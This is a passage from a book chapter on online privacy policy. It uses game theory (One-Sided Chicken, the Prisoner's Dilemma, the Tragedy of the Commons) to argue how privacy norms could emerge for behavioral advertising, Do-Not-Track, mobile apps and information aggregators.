direct-to-consumer advertising of prescription drugs in increasing the
demand for such drugs.9 
Website use is, oddly enough, similar to prescription drug use in
one aspect. Accessing websites for all sorts of purposes is now such an
entrenched feature of daily life that not doing so is no longer an option. 
Accessing websites has a side effect, however—the collection and com­
mercialization of information about buyers. Advertising that promotes a 
trade-off between the benefits and the side effect should coalesce buyer 
demand more or less as well as prescription drug advertising. So sellers  
will conform to buyers’ preferences after shaping those preferences in
ways that make conformity profitable. 
Norms? Yes. Value Optimal? Yes, but… 
The result will be a number of behavioral regularities of the form, “buy­
ers demand such-and-such trade-off.” Eventually, not only will the trade­
offs be value optimal, but buyers will also believe they are. As advertising 
unites buyer demand into suitably sized groups, buyers will continue to
engage daily in billions of pay-with-data exchanges. Over time, the trade­
offs implemented in the exchanges will cease to be merely accepted; they
will become acceptable. Our values will have evolved and transformed so 
that the trade-offs will be at least as well justified in light of those values as
any alternative. We will ultimately recognize the trade-offs as value opti­
mal. At that point, the regularities will be coordination norms. We will  
conform to the regularity because we think we ought to (our values dictate 
that we ought), and the ought will be conditional. 
As was the case with software buyers in Chapter 7, sellers respond to
buyers’ unified demand (and would not meet an idiosyncratic different
demand from a small number of buyers), so, as long as going without the 
services is not an acceptable option, buyers will think they ought condition­
ally to demand the trade-off. This would be a huge change, since currently 
we are not even close to consensus about how to strike a value optimal 
trade-off between privacy and the benefits of information processing. 
So isn’t this what we want? A way out of One-Sided Chicken that
yields value optimal norms? That depends. With respect to these pri­
vacy issues generated by the web, society is today in the position of a
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teenager. And sometimes what you value in your youth, you may regret
when you are older. The same may happen as society evolves; in par­
ticular, the norm-generation process may lead to value optimal norms,
but those could be norms we later regret creating. It is possible, for
example, that the process leads to the world that various privacy and
technology experts, such as Georgetown Law School Professor Daniel
Solove, warn of: the world in which a permanent, ever growing, readily
searchable trail of information records the trivial to the intimate to the
unfortunate details of our lives from childhood on.10 How can we avoid 
regrettable outcomes? 
We rely on consumer educational initiatives. They can powerfully 
shape buyers’ preferences. For example, the spread of health information 
has led to a very large decrease in the US smoking rate over the past 50 
years11 and to a significant per-capita increase in poultry consumption at
the expense of beef consumption over the last few decades.12 The expla­
nation presumably is that education altered the complex of values about
health and enjoyment that guides people’s smoking and food choices. Our 
hope is that consumer education will direct value formation away from
regrettable paths. 
DOES FACEBOOK PLAY ONE-SIDED CHICKEN? 
With its one billion active monthly users, and its ever changing privacy 
policies, Facebook is a phenomenon that no book on privacy can ignore, 
so we must consider whether our model explains Facebook in particu­
lar. Our One-Sided Chicken model may not seem to fit Facebook. One-
Sided Chicken is a take it or leave it game. The seller’s attitude is “accept
our information processing or do not use the site.” Facebook, in contrast, 
offers its users the ability to personalize privacy settings. This appears not
to be “take or leave it,” but rather the opposite: “indicate your preferences,
and we will conform.” 
But appearances are deceiving. Facebook’s privacy options allow users 
to control only the extent to which their information and posts are view­
able by the general public or selected Facebook friends; they do not give  
users any control over how Facebook uses their information for targeted 
advertising. In the area of users’ advertising preferences, Facebook does
play One-Sided Chicken. 
There is one difference between Facebook’s One-Sided Chicken game
and that of most other web businesses: Facebook does not share informa­
tion with third parties. Facebook compiles and maintains profiles on its 
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users itself. When an advertiser contacts it with a request to target a certain 
group, Facebook directs the advertisement to that group without reveal­
ing the relevant profile to the advertiser. This helps ensure that advertisers 
need Facebook as an intermediary to reach their target audiences. 
We will discuss Facebook’s privacy settings, by which we mean the con­
trols Facebook offers users to control what other users can view, in more
detail in the short appendix to this chapter. In that appendix we offer a 
game theoretic model of the interaction between Facebook and its users.
The model applies to a number of sites that offer users similar privacy set­
tings that only affect access to their information by other users but offer no
control over access to their information for targeted advertising. 
The conclusion we reach with that game theoretic analysis is that
Facebook deliberately creates controls that could hypothetically be used
to control which other users can view information, but are too difficult,
if not outright impossible, to use. In response, some users make little or
no adjustment from the original Facebook default privacy settings, and 
many others fiddle with their settings every now and again, but not par­
ticularly effectively. 
The evidence that Facebook privacy settings are not really usable to
get precisely the control you want is strong. In a clever experiment at
Columbia University, participants were asked first to report their inten­
tions concerning their Facebook privacy settings: Who was supposed to
be able, and who unable, to see various parts of their Facebook content.
Then the experimenters used a special Facebook app they built to see if
the subjects had succeeded in carrying out their intentions. None of the
65 participants—who were all Columbia University students—had success­
fully set their privacy settings to obtain exactly their goal.13 If students at
one of the top universities in the world cannot successfully adjust their 
Facebook settings, then nobody can. 
As Goes Facebook, So Goes Google? 
Now let us leave Facebook’s privacy settings and return to the subject 
of online behavioral advertising. What about the other giant of the cur­
rent Internet age: Google? Does our One-Sided Chicken model of online
behavioral advertising fit Google? Google provides various tools that per­
mit users control over how Google uses their information for advertising 
purposes, which are variously described on Google’s “settings” web page
and on the “tools” page of Google’s Privacy Policy web pages. You can opt 
out of any use of the DoubleClick tracking cookie, block advertisements
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you do not like, and set your preferences to increase the amount of rel­
evant advertising. 
How is this consistent with the take it or leave it game of One-Sided 
Chicken? It is only the opt-out from the DoubleClick cookie that is prob­
lematic. The other two settings actually improve the targeting of adver­
tising. We see the DoubleClick opt-out as a concession in response to
the criticism of behavioral advertising by privacy advocates, consumer 
groups, and government agencies like the Federal Trade Commission. 
But it is a concession that few will use. Opt-out rates are low, so Google
can make the gesture of offering users the possibility to opt out while still
being confident that the vast majority of buyers will still “give in” in the 
game of One-Sided Chicken. Similar remarks hold for the large number of
sites that now offer some opt-out option. 
This confirms the explanation of One-Sided Chicken we offered ear­
lier. We noted that most “give in” to advertisers’ information processing 
demands, and we suggested that the profit-maximizing strategy was to
ignore the relatively few demanders instead of adjusting to their privacy 
preferences. This is true even for Facebook, which must be particularly 
concerned with how many users it has because it relies on a network effect.
Thus, it is all the more likely that it is true for sites like audacity.com, cnn. 
com, search engines, and the host of other sites that participate in behav­
ioral advertising but do not benefit from any strong network effect. 
DO-NOT-TRACK INITIATIVES 
We said that close to perfect blocking technologies could offer a way out 
of One-Sided Chicken. So, what are the prospects for developing close to
perfect technologies? The ongoing (as of the time of this writing) con­
troversy over Do-Not-Track initiatives is encouraging—or, perhaps we
should say, not discouraging. Late in 2010, in a preliminary version of
Protecting Consumer Privacy in an Era of Rapid Change,14 the Federal 
Trade Commission called for policies (either self-regulatory or legislative)
that would lead web companies to abide by a “do not track” request from
a website visitor, which would be sent by the visitor’s browser. The Obama 
administration endorsed the commission’s position in February 2012,15 
just before the commission issued its final report in March.16 At least some
implementation of this idea has begun. For example, as of this writing, the
Firefox browser has a checkbox at the top of the privacy section of its set­
tings labeled “Tracking: Tell websites I do not want to be tracked,” and if
you check it, then Firefox will send a “do not track” request as part of the 
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header of each web page request it sends out for you.* In February 2012,
a consortium of the leading web companies agreed to abide by “do not
track” requests.17 
However, considerable controversy has arisen over precisely what “abid­
ing by the do-not-track request” means. Does it mean that businesses do
not collect any information for the purpose of targeting advertising (or at
all), or does it permit data collection but merely bar the delivery of targeted 
advertising? There is even more controversy over just how users will be
asked to set their preferences. It is well known that most users never adjust 
the original settings of a web browser, so the online advertising industry
seemed ready to accept “do not track” if browsers would be delivered to 
users with the do-not-track box unchecked. When Microsoft announced 
in June 2012 that it would ship the next generation of Internet Explorer 
(Internet Explorer 10 in Windows 8) with the do-not-track box checked,
the online advertising industry revolted. The influential online adver­
tising industry organization, the Network Advertising Alliance (NAI),
announced that “NAI can’t accept a browser mechanism that threatens 
the health and vitality of the entire online ecosystem.”18 
Far from offering encouragement, the controversy may seem to dampen 
hopes for the emergence of norms, but in fact controversy is precisely 
what our One-Sided Chicken/coordination norms model predicts: If buy­
ers threaten to block the data collection necessary for behavioral adver­
tising, advertisers will negotiate a compromise. Of course, this does not
mean that the outcome will be the ideal result the model defines: a value 
optimal trade-off between privacy and competing concerns. In the model, 
buyers temporarily block or merely threaten to block data collection, and 
sellers respond by offering more control. We emphatically do not support
prohibiting online data collection for (at least some) advertising purposes.
What we propose is a process that leads to a value optimal trade-off. What
will actually happen in the highly contentious debate over “do not track”
remains to be seen. 
Whatever the outcome, the Do Not Track debate has brought busi­
nesses and privacy advocates together to negotiate a solution, and “make 
negotiation, not war” is the moral of our model. The norm generation pro­
cess requires sellers to negotiate buyers’ acceptance of privacy trade-offs. 
The critical step going forward is to promote the negotiation needed to
* 	 We use Do Not Track with initial capitals for the policy proposals and “do not track” in quotes and 
lower case for the browser request. 
















320  ◾ Unauthorized Access: The Crisis in Online Privacy and Security 
yield the necessary norms. We must avoid two dead ends. One is banning
or greatly curtailing data collection for advertising purposes; the other is
a fruitless arms race in which buyers erect ever more technological bar­
riers that sellers quickly find ways to evade. We hope that judicious use 
of (or at least the threatened use of) consumer power to block tracking 
technology will lead to the creation and adoption of a norm that settles
the battle over online behavioral advertising based on closely tracking 
people’s web surfing. 
Now let us turn our attention to some other, somewhat similar prob­
lems, such as privacy issues surrounding apps on your always-with-you 
smartphone. 
MORE “BUYER POWER” APPROACHES 
TO NORM GENERATION 
Our norm-generation approach for behavioral advertising relies on buyer 
power—in particular, the power to prevent data collection. In this section, 
we describe another “buyer power” approach. This one relies on the power 
not to buy. The market for mobile device apps is a good example. When
you download an app, you agree to the associated information process­
ing, and, at the moment at least, there is no practical way to prevent the 
processing while you continue to use the app. Your only option is not to
download the app. We cannot rely on the power to prevent data collection
to generate norms as we did for website behavioral advertising. As we will
see, however, we can rely on another power buyers can use: the power not
to buy. 
Note that we could not rely on that power in the behavioral advertis­
ing case. Not buying in that case would mean not using websites unless
their privacy practices conformed to your preferences. As we discussed 
in Chapter 11, most sites participate in one way or another in the online
advertising ecosystem, so it is essentially impossible for buyers who prefer
nonparticipating sites to find sites that conform to that preference. Most 
buyers prefer to use the sites instead of not buying. 
Mobile Apps 
It would be difficult to design a better platform for advertising than a 
mobile device that contains a wealth of personal information and that
constantly transmits the user’s location. As the Federal Trade Commission
notes, apps “may be able to access your phone and e-mail contacts, call logs, 
Internet data, calendar data, data about the device’s location, the device’s
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unique IDs, and information about how you use the app itself.”19 The use
of location data is particularly worrisome. Location-tracking technology
in the form of smartphones has become pervasive. 
Smartphones can be used to follow your every move—to know when 
you leave your house, what route you take, for how long, and where you 
stop. It will soon be possible to record what you look at in a store, for how 
long, when and how, where you eat lunch and what you order, how long 
you linger at the coffee machine, what desks and offices you frequent at
work, and on and on. Advertising based on these kinds of data has proven 
remarkably effective; advertisers have been willing to pay four times the 
price of ordinary mobile phone advertising for ads based on location
data.20 The data-collecting apps are just the front line of a burgeoning 
industry that compiles profiles of mobile device users and uses them to 
send advertising. 
The potential benefits are considerable. The McKinsey Global Institute, 
for example, claims that the systematic use of location data (throughout
the economy, not just in advertising) can “provide more than $800 bil­
lion in economic value to individual consumers and organizations over 
the next decade.”21 Location data allow advertisers to target consumers 
near relevant stores. Privacy is the price. Justice Sotomayor captured the 
privacy concern in describing what GPS data provided in the 2012 case 
United States v. Jones: “a precise, comprehensive record of a person’s pub­
lic movements that reflects a wealth of detail about her familial, political, 
professional, religious, and sexual associations.”22 
The key to creating norms to govern mobile apps is noticing that we do 
not need to empower app buyers, because they already have considerable
power. The app market is typically very competitive, often with several  
apps offering similar functions. Buyers can shape information processing 
practices by selecting apps with processes they favor—provided enough 
buyers have sufficient knowledge of the app’s data collection practices. At
the moment they do not.23 
We suggest two ways to educate buyers. The first is legislation that
requires the disclosure of information processing practices in periodic,
publicly accessible reports to an appropriate governmental agency. This is
not to suggest that most buyers will read the reports. The expected audi­
ence consists of consumer and privacy advocate groups and the press.
These experts will communicate practices the general public is likely to
find unacceptable to a wider audience. The second way to get enough
informed buyers is through educational programs, both governmental
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and private. As we noted earlier, private organizations like the Center for 
Digital Democracy educate consumers about privacy concerns, as does
the Federal Trade Commission. 
The goal of the educational efforts we recommend is to ensure that
enough buyers know about apps’ data collection practices. How many is
“enough”? Enough to make the profit-maximizing strategy offer informa­
tion processing that buyers find acceptable. Given enough buyers, infor­
mational norms will evolve in a process much like the one described in
the case of behavioral advertising. It is reasonable to expect the norms to
be much the same. Buyers’ privacy concerns in the app market are quite 
similar to their concerns in the website case. 
Cloud Computing 
Should we take a similar view of other markets in which buyers cannot
rely on technology to block information processing for advertising pur­
poses? Cloud computing is an instructive example. Some cloud computing 
contracts require that one agree to information processing for advertising 
purposes. The contract for the Microsoft Dynamics cloud computing ser­
vice, for example, requires this.24 As with mobile apps, there is no practical
way to prevent information processing apart from not using the service; 
however, the cloud computing market is also a highly competitive one. 
So, can we assume that appropriate norms will arise as long as there are 
enough sufficiently informed buyers? 
Lock-in is a concern in this case. Once you have established an exten­
sive presence in a cloud computing environment, the transaction costs of
moving can be quite high. Once a service provider locks in a large num­
ber of customers, will it be able to alter its information processing prac­
tices profitably in ways more favorable to it? And, will this possibility, if
it exists, disrupt the evolution of norms or permit noncompliance with
norms that have evolved? The questions underscore the limits of relying 
on the “power not to buy” to create norms. 
Summary of Our Norm-Generation Strategies So Far 
The diagram shown in Figure 12.3 summarizes our norm-generation 
strategies so far: two different kinds of buyer power for the problems we
discussed in this chapter, and a best practices statute for the problem of
companies’ selling vulnerable software that we discussed in Chapter 7.
We now turn to other cases in addition to insecure software where a best 
practices statute approach is called for. These are cases in which buyers 









From One-Sided Chicken to Value Optimal Norms  ◾ 323
Norm creation strategies 
Rely on buyer power	 Rely on a best practices statute 
Power not Power to block 
to buy data collection 
Mobile apps Behavioral ads 
Cloud computing (?) (including social
networking sites) 
FIGURE 12.3 Norm-creation strategies. 
lack sufficient power not to buy and also lack sufficient technological 
means to prevent data collection. We will discuss three examples from
Chapter 5: information aggregators, retailers as information brokers, and 
health insurance. We will also consider employee hiring and personal data
collection by private individuals.* We will distinguish two somewhat dif­
ferent versions of the best practices statute approach. 
TWO VERSIONS OF THE BEST PRACTICES 
STATUTE APPROACH 
For purposes of this discussion, we will skip over the first stages of the
best practices statute approach. We will, for all cases, just assume that a 
best practices statute authorizes an agency to define a value optimal trade-
off between informational privacy and competing concerns, and we will
also assume the agency does what it is supposed to do: define the relevant
trade-off. This much alone would be no small achievement. 
As we have noted before, there is deep disagreement about the best 
way to make such trade-offs.25 The diversity of types of businesses makes 
the problem particularly complex. We need to find the right balance for 
car rental companies, grocery stores, credit card companies, wine stores, 
furniture dealers, health insurance companies, information aggregators,
employers, and so on. It will be difficult, to say the least, to navigate the
political landscape to arrive at sufficient agreement on best practices. Our 
concern here, however, is with the norm-generation process after the stat­
ute and the agency definition are in place. 
* 	 Cloud computing and social networking are also Chapter 5 examples. We discussed them earlier 
since they are “buyer power” cases. 
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We will also assume adequate enforcement of the statutes. This ensures 
that almost all sellers conform to the best practices when offering goods 
and services and hence act in ways that realize a value optimal trade-off 
between privacy and competing concerns. The result is that, by and large,
only best practices goods and services are available. This means that, as
long as buyers are not willing to go without the goods and services, they
will buy them—even if the cost is somewhat greater than it would be if
sellers did not conform to best practices. Thus, the following regularity 
will exist: Buyers demand—in our “are willing to pay for” sense—best 
practices goods and services. 
Our focus is the next step: turning the regularity into a norm. It is
essential to do so. We want sellers to offer best practices goods and ser­
vices voluntarily and not merely to do so because they are compelled by
the threat of legal enforcement. “Businesses will abide by best practices 
only because of the threat of legal liability” is an admission of failure. It
means we must rely on difficult, expensive, and uncertain legal enforce­
ment instead of voluntary compliance with a norm. Our concern here is
to explain how to make a norm out of the statutorily created regularities. 
To see what we need to do, recall once again the definition of a coordi­
nation norm. It is a behavioral regularity in a group, where the regular­
ity exists at least in part because almost everyone thinks that, in order to
realize a shared interest, he or she ought conditionally to conform to the 
regularity. How do we get from a regularity that exists because of adequate 
enforcement of the statute to a regularity that exists because people think 
they ought to conform in order to realize a shared interest? 
A comparison with the software and malware cases reveals a key point.
We will, for convenience, focus on software, but the same remarks hold
for malware. In the case of software, we proposed relying on education to
convince buyers that they ought, conditionally, to purchase best practices
software in order to realize a shared interest in a value optimal trade-off 
between more secure software and a variety of other goals such as inno­
vation and controlling costs. Any such educational effort faces a number 
of hurdles, but there was one hurdle we did not face: a significant overall
increase in costs for buyers. 
This is not to deny what we in fact emphasized: Buyers will pay more
for software developed following best practices. The point is that the cost 
increase is offset by a reduction in expected losses. There is less risk of  
loss from unauthorized access for each user, and less unauthorized access
overall reduces the aggregate losses that buyers bear indirectly in the form
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Norm-creation strategies 
Rely on buyer power Rely on a best practices statute 
Power not Power to block No Prisoner’s Prisoner’s 
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FIGURE 12.4 Our three norm-creation strategies, with the best practices statute 
strategy explicitly broken down into its two subcases. 
of higher costs for other goods and services. As we argued in Chapters 6 
and 7, implementing best practices for software development results in a 
net gain for buyers. There is a stark contrast with the privacy cases we con­
sider later: Implementing informational privacy best practices can impose
significant costs on buyers. When it does, it turns the privacy cases into a 
version of another well known game, the Prisoner’s Dilemma. This makes 
norm generation more complicated than it was in the software and mal­
ware cases. The diagram in Figure 12.4 summarizes the various norm-
generation strategies. 
PRISONER’S DILEMMA 
Information aggregators are a good illustration of the Prisoner’s Dilemma 
issue and the problem that this issue raises for norm generation. 
Information Aggregators 
Aggregators, such as Acxiom and LexisNexis, sell information to a wide 
variety of buyers, including businesses, organizations, and individuals, as
well as to government agencies. We focus on the business buyers. As we
noted earlier, we are assuming that an appropriate statute exists and that
best practices have been defined. Those practices implement a trade-off 
between protecting privacy and the gains from permitting information 
collection, analysis, and distribution. The essential point is that the trade-
off will sometimes impose constraints on information use even when pro­
cessing the information would generate profits for the businesses that are 
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the customers of information aggregators. The unrealized profits are a cost 
the statute imposes on the aggregators’ business buyers. 
How will the business buyers respond to the statute? Of course they are 
going to obey the statute, at least assuming adequate enforcement. The 
question is whether they will in time internalize the values of the statute,
creating a norm, as was the case for the buyers of best practices software 
back in Chapter 7. For a norm to exist, business buyers must act in ways
that implement the trade-off between the benefits of information use and 
privacy because they think they ought conditionally to do so in order to 
realize a shared interest in coordinating their behavior to make the trade-off 
a reality and not merely because they are compelled by the statute. Will
this happen? We have to answer “no”—at least as long as we continue to
assume that a business always chooses to act in ways it thinks will maxi­
mize its profits. This makes it unlikely that businesses will conform “on 
their own” without a credible, constant threat of legal action. So if the 
norm is to arise without the perpetual use of a best practices statute, we
will have somehow to make businesses sometimes opt for privacy over 
profit. How can we do that? 
Suppose we could wave a magic wand and guarantee that every busi­
ness had two equally strong motives: one in maximizing profits and one 
in protecting informational privacy, even at the cost of profits. Would that
be enough? No. Even that magically induced change in businesses’ moti­
vations would not make the businesses choose privacy even some of the 
time, and seeing why is crucial. The problem is that the business buyers are 
in a Prisoner’s Dilemma (or more precisely a Tragedy of the Commons*) 
that will make them choose nonconformity every time. We first introduce 
the classic Prisoner’s Dilemma and then show how the business buyers are 
caught in one. 
A Classic Prisoner’s Dilemma 
Suppose Sam and Sarah have committed two crimes—one serious and 
one minor. When they are arrested, the police interrogate them separately.
Unless one confesses, there is not enough evidence to convict the other 
of the serious crime, for which the penalty is 10 years in prison; there is
only the lesser crime, which carries a 2-year sentence. The district attorney
* 	 We will later explain both the Prisoner’s Dilemma and the Tragedy of the Commons at some 
length, but for now, briefly, the more well known Prisoner’s Dilemma applies to precisely two 
parties, and the Tragedy of the Commons applies when there are many parties, such as our many 
business buyers. 


















Sarah Doesn’t Confess Sarah Confesses 
Sam Doesn’t Confess 
Sam Confesses 
Sam and Sarah both get
short 2-year sentences. 
Sarah goes free while Sam 
is sentenced to 10 years. 
Sam goes free while Sarah 
is sentenced to 10 years.
Sam and Sarah both get
5-year sentences. 
From One-Sided Chicken to Value Optimal Norms  ◾ 327
FIGURE 12.5 The outcomes for Sam and Sarah in the Prisoner’s Dilemma 
offers Sam a deal: If he confesses and Sarah does not, he goes free, and she 
gets 10 years in prison; if they both confess, they will both be sentenced to
5 years. The district attorney tells Sam that someone else is offering Sarah 
the same deal. 
We summarize Sarah and Sam’s options in Figure 12.5. Each has the 
following preferences in the following order: 
1. Go free by confessing when the other does not 
2. Get 2 years by refusing to confess when the other refuses to confess 
3. Get 5 years by confessing when the other also confesses 
4. Get 10 years by refusing to confess when the other confesses 
What will they do? Each will confess. Consider Sam first. He will reason
this way: 
Suppose Sarah confesses. If I confess, I get 5 years; if I do not, I get 
10. So I should confess. Suppose she does not confess. If I confess,
I go free; if I do not, I get 2 years in prison. So I should confess. So
either way, I should confess. 
Sarah will reason the same way, so both will confess. 
When we use the Prisoner’s Dilemma to illustrate any human
dilemma other than that of the apocryphal Sarah and Sam, we label the
two options “cooperate” and “defect” rather than “don’t confess” and
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“confess.” (Interestingly enough, for the two criminals, to cooperate
means not to confess.) 
Prisoner’s Dilemma for Business Buyers 
Now let us turn our attention away from Sarah and Sam and back to the 
businesses that are customers of the information aggregators. For those 
businesses, to cooperate would be to conform to the best practices statute 
that we are proposing. If enough businesses cooperate, they will imple­
ment a value optimal privacy trade-off, which no single business or small 
group of businesses can implement alone. What is the worth of this value 
optimal trade-off to the businesses? The value optimality of the trade-off 
is for society as a whole—not for the group of businesses who use informa­
tion aggregators and presumably have much to gain in the way of profits 
by continuing use information in a wholly unfettered manner. However,
there is some gain for these businesses in having the new value optimal 
norm realized. The businesses will have somewhat fewer problems with
regulators, privacy advocates, and customers in general. 
For these businesses to defect is to violate the statute and thereby 
attempt to maximize profits by acquiring and using information in pro­
hibited ways. If enough businesses defect, the remaining cooperators can­
not realize a value optimal trade-off. Until now, we have assumed that
adequate enforcement of the statute would ensure that all businesses pre­
fer to cooperate, but we said our goal was to move from the difficulties and 
uncertainties of legal enforcement to a norm. Thus, our concern now is
with what happens if we take enforcement out of the picture. 
Then it is quite plausible that each business has the following prefer­
ences in the following order: 
1.  To defect when enough others cooperate. “Enough” is enough to  
realize a value optimal privacy trade-off. Then the defecting business
gets benefits from the value optimal privacy trade-off being realized 
and the higher profits from violating the statute. 
2. To cooperate when enough others cooperate. This would be the sec­
ond-place preference whenever the business’s interest in the trade-off 
being realized is sufficiently strong. 
3. To defect when enough others defect, where “enough” is enough to 
ensure that the value optimal trade-off is not realized. 
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4. To cooperate when enough others defect. This comes in last because 
cooperation is pointless. Cooperating cannot help realize the trade-
off, and the business forgoes profits others are making. 
These preferences create a Prisoner’s Dilemma, so the businesses should
always defect. 
We do not argue that the order of preferences we listed is necessarily 
correct. Our point is that even given this strong assumption, the norm
will not be generated. Some other, perhaps more likely preferences would
be even worse for the prospects of generating the norm. 
How Many Players Are in This Game Anyway? 
There is a small problem with our analysis: The order of the preferences 
is the right order for a Prisoner’s Dilemma, but a Prisoner’s Dilemma 
involves only two players, and there can be any number of businesses deal­
ing with information aggregators. As in a true Prisoner’s Dilemma, a busi­
ness’s decision to cooperate or defect will depend on whether it expects 
enough others to cooperate or defect, but these are expectations about a 
large number of different businesses, not just one other chooser in a two-
chooser situation. 
The Prisoner’s Dilemma is very well known, so people sometimes refer to 
any situation where each participant is better off defecting than cooperat­
ing as a Prisoner’s Dilemma, even if there are many participants. However,
to be more technically correct, we should tell a different story. This one 
is about villagers in Medieval England, rather than about two arrested 
prisoners. This scenario is known as the Tragedy of the Commons and
its story goes like this: Villages in Medieval England had a village com­
mons where each village family was entitled to graze as many sheep as
they wished. If each family grazed one or two sheep, those sheep would 
all get enough to eat, and everybody would be fairly well off. Any one par­
ticular family would have been even better off if instead it grazed many
sheep on the commons. Of course, if everybody grazed a large number of
sheep on the commons, then the commons would be overgrazed, and the 
entire village would be poorer, as all their sheep would suffer. Even in this
situation of a badly overgrazed commons, any individual family is still
better off having many sheep on the commons. There is no benefit, only 
a loss, to unilateral altruism, as long as everybody else is consuming the 
communal resources. 
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The Tragedy of the Commons is the many-chooser analog of the two-
chooser Prisoner’s Dilemma. Each chooser is always personally better off 
if he or she defects (or, in the story, grazes many sheep) but the community 
as a whole is significantly worse off if most people defect. Just as in the 
Prisoner’s Dilemma, the expected outcome is that everybody will defect. 
The Tragedy of the Commons has been used very successfully to explain 
many different real-world phenomena, such as why fisheries have usually 
been overfished in the absence of (and sometimes even in the presence of) 
strict regulation. 
Our businesses face a Tragedy of the Commons, with the common
good being the benefits of a value optimal trade-off between information 
processing and privacy. Each individual business will defect, because each 
will reason this way: 
Suppose enough businesses cooperate, enough to ensure a value 
optimal privacy trade-off. If I defect, I increase my profit and still
get the benefits of the value optimal trade-off. So I should defect.
If enough do not cooperate, my cooperating would not contribute
to realizing the benefits that require enough others to cooperate,
so I should maximize my profits by defecting. So, either way, I
should defect. 
Of course, the business cannot buy what the aggregator will not sell, and 
the aggregator will not sell if it does not have the information. However,
that scenario is unlikely. We live “in an age of ‘big data’…Advances in data
mining and analytics and the massive increase in computing power and 
data storage capacity have expanded, by orders of magnitude, the scope 
of information available to businesses, government, and individuals.”26 
Aggregators may still not sell certain information if the threat of legal
liability is great enough, but we are putting that threat to one side, which 
means that aggregators will sell the information. 
A comparison with the software best practices statute is illuminating. 
Creating software is quite costly. Mass-market consumer software sells for 
relatively low prices per copy, so software developers must create a product 
that a large number of consumers will buy. For an information aggregator, 
once information has already been collected, producing additional reports 
by different types of processing is relatively inexpensive, and businesses 
will sometimes pay a great deal for such reports. 
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Thus, the profit-maximizing strategy for a mass-market software devel­
oper is to cooperate by offering software developed following best prac­
tices, and it will simply ignore small amounts of idiosyncratic demand
for norm-inconsistent products. Information aggregators, in contrast, 
offer an increasingly wide range of products in an attempt to cater to the
various needs of their customers. Equifax, for example, has “scores of
new IT-based products…chasing two ideas: cutting risk and improving 
marketing for its 46,000 business customers. Equifax can, among other 
things, check an immigrant’s employment status, verify a doctor’s creden­
tials, assess an Internet user’s social influence and monitor a child’s bud­
ding credit portfolio.”27 For information aggregators, unlike mass-market 
software developers, defection is the profit-maximizing strategy whenever 
the statutorily imposed best practices are inconsistent with meeting a cus­
tomer need that they can profitably fulfill. 
It follows that we cannot turn the statutorily created regularity into a 
norm. Without the threat of legal liability, business buyers will defect. To
change this result, we must change the businesses’ preferences. We con­
clude this section with an explanation of how to do so. In the next section, 
we extend the result to further examples. 
Trust and Commitment 
To see how to change the preferences, recall Sam and Sarah. Suppose they
adhere to the Mafia code of silence, omertà. The code requires complete 
lack of cooperation with law enforcement. To fail to live up to that stan­
dard is to incur extreme dishonor, which both regard as worse than the 
years in prison.* Each of them now most prefers to get 2 years by refus­
ing to confess when the other refuses to confess, and second place goes to
getting 10 years by refusing to confess when the other confesses. Both of
these outcomes are preferred to the remaining two options: get 5 years by
confessing, when the other also confesses, and go free by confessing when
the other does not. Both of these options are equally unacceptable since 
both involve confessing. As long as Sam and Sarah remain committed to
omertà, neither will confess. 
Incidentally, commitment can come in degrees. Sarah may adhere to
the code to avoid dishonor even if she thinks Sam will confess, or her
* 	 Violations are also punished—typically with death. But our concern is with commitment—not 
fear of punishment—as a source of behavior. 
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commitment may be conditional. She may adhere to the code only as long 
as she is convinced Sam will. Conditional commitments can easily fall
prey to doubt. Suppose Sam is, like Sarah, conditionally committed to
omertà. He will adhere to  omertà, but only if he thinks Sarah will too.  
Suppose, too, that Sam is convinced that Sarah believes his commitment
is weak. Sam will reason, “Sarah does not trust me enough to think I will
keep our pact. So she will think I will confess to try to minimize my time
in prison. This means she will confess, so I should confess.” Sarah may
well reason the same way. She does not even have to doubt Sam to do so. It
is enough that she thinks Sam thinks she does not trust him; then, she will
think that Sam is reasoning in the way just outlined, and she will conclude 
that she should not uphold her commitment and instead should confess. 
Our knowledge or doubt about others’ commitments is an important 
and interesting topic, but we will put it to one side. In what follows, we will
assume that the commitments we consider are known and not doubted.
Our point is that, in the case of the business clients of information aggre­
gators, a commitment to realizing a value optimal privacy trade-off can 
prevent defection. Such a commitment would change the businesses’ 
preferences in just the way it changes Sam’s and Sarah’s. Even a condi­
tional commitment would do so—a commitment to cooperate to realize
a trade-off as long as others are also committed. This makes a business’s
most preferred option to cooperate when enough others cooperate, and
as long as it knows and does not doubt that other businesses are commit­
ted, it will cooperate. If we can create the commitment, we can create the 
norm. Businesses will conform to the statutorily created regularity in part
because they think they ought conditionally to do so in order to realize the 
value optimal trade-off. 
But isn’t it naïve to think we can create the commitment? Aren’t we
overlooking the critical role the profit motive plays in a market economy?
As the noted economist Arthur Okun observes, monetary rewards “pro­
vide the incentives for work effort and productive contribution. In their 
absence, society would thrash about for alternative incentives—some
unreliable, like altruism; some perilous, like collective loyalty; some intol­
erable, like coercion or oppression.”28 We by no means deny the centrality
of the profit motive, but it bears emphasis that it operates not just side
by side with but rather embedded within a comprehensive web of trust.
The web of trust consists in the conviction that people will conform to an
immense variety of standards of behavior and that they will do so when
defecting would make more money. 
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For example, we—the authors of this book—are both tenured profes­
sors, whose teaching performance, good or bad, does not, within very
broad limits, affect our salaries. Yet we both devote considerable time and 
effort to teaching well—even though we might more profitably spend the 
time on consulting or grant writing—and we report that the same is true
for a heavy majority of our colleagues. In general, as Helen Nissenbaum
notes, we “expect functions such as education, health care, religion, tele­
communication, and transportation, whether privately paid for or not, to
meet independent ideals…we expect more from professionals—from doc­
tors, lawyers, athletes, artists, church ministers, and teachers—than the 
pursuit of profit.”29 
Professionals are just one example. A coffeehouse may seek a more
relaxed and casual atmosphere even though it would make more money 
if it instituted a Starbucks-like assembly line and processed more custom­
ers in a constant up-tempo turnover. The reassuring surgical nurse, the 
helpful stranger, and the devoted parent might advance their careers more
successfully with more attention to profitability than to commitment to
ideals, but it is the commitment that explains their behavior. Our com­
mitments create a web of trust in which we live our lives. As the security
expert Bruce Schneier emphasizes, 
Society can’t function without trust.…We need to be able to trust 
the people we interact with directly: as we sit next to them on air­
planes, eat the food they serve us in the cabin, and get into their 
taxis when we land. We need to be able to trust the organizations 
and institutions that make modern society possible: that the air­
planes we fly and the cars we ride in are well-made and well-main­
tained, that the food we buy is safe and their labels truthful, that the 
laws in the places we live and the places we travel will be enforced
fairly. We need to be able to trust all sorts of technological systems:
that the ATM network, the phone system, and the Internet will
work wherever we are.30 
So it is certainly possible that a commitment to respecting privacy will
keep both businesses and aggregators from defecting. 
But can we ensure that actually happens when attempting to create a 
norm with the best practices statute approach? That depends on how effec­
tively we educate. The norm-generation process requires convincing the 
